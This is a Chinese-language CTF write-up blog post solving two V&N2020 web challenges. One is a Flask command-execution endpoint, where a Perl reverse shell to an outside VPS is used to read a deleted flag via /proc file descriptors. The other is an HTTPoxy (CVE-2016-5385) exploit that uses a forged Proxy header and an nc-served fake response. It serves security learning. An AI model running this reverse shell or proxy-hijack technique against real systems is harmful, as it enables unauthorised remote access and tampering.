V&N2020公开赛

V&N2020 公开赛

V&N2020 公开赛

[V&N2020 公开赛]CHECKIN

考点:反弹shell

获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

一看就知道要反弹shell

这里的flag被删除了

记一个知识点

1
当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作

找到该进程,读取flag

/proc/[pid]/fd 是一个目录,包含进程打开文件的情况

测得bash反弹,curl反弹都不可,所以这里使用perl反弹。

先perl反弹shell,

1
perl -e 'use Socket;$i="174.1.178.39";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' &

然后读flag

image-20200401215315646

[V&N2020 公开赛]TimeTravel

考察:HTTPoxy漏洞(CVE-2016-5385)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

首先先理解到代码的意思:我们想读到flag。就要满足$data['success'] === true

传入一个flag,就会去请求HTTP-api服务,假如该服务器返回success的话,就会执行程序读取flag.

这里考察的是CGI解释

CGI有个特性就是:会将header中的proxy参数设置冲环境变量HTTP_PROXY

在PHP 5.6.23版本中存在漏洞CVE-2016-5385

参考:CVE-2016-5385

所以解题思路如下:

现在vps中的写入b.txt内容如下:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

接着监听端口

1
nc -lvvp 8888 < b.txt

burp抓包,发送请求

1
2
3
4
5
6
7
8
9
10
11
12
GET /?flag=123 HTTP/1.1
Host: node3.buuoj.cn:28456
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pma_lang=zh_CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 127.0.0.1
Proxy: http://174.1.178.39:8888

重点在于http://174.1.178.39:8888

当发送该请求的时候,proxy的请求会作为HTTP_PROXY

这时候会访问vps的8888端口,这时候就会发送出b.txt的内容,使得$data['success'] === true

获得flag

image-20200401234144438

Author: 我是小吴啦
Link: http://yoursite.com/2020/03/16/V-N2020%E5%85%AC%E5%BC%80%E8%B5%9B/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.